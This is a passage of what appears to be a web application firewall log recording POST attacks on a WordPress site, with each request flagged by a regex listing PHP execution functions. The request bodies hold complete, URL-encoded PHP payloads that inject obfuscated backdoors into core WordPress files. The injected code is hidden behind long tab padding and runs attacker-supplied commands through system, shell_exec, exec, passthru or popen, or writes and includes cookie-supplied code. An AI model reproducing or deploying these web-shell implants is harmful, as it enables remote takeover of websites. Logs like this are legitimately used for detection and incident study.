55Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:44:05","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-length:5278\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:44:14","190.92.169.79","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:3248\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nrP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:44:18","152.53.138.6","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncontent-length:3248\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\njK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B28%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B28%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B28%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B10%255D%2528%2524n%252C%2524p%255B29%255D.%2524p%255B9%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
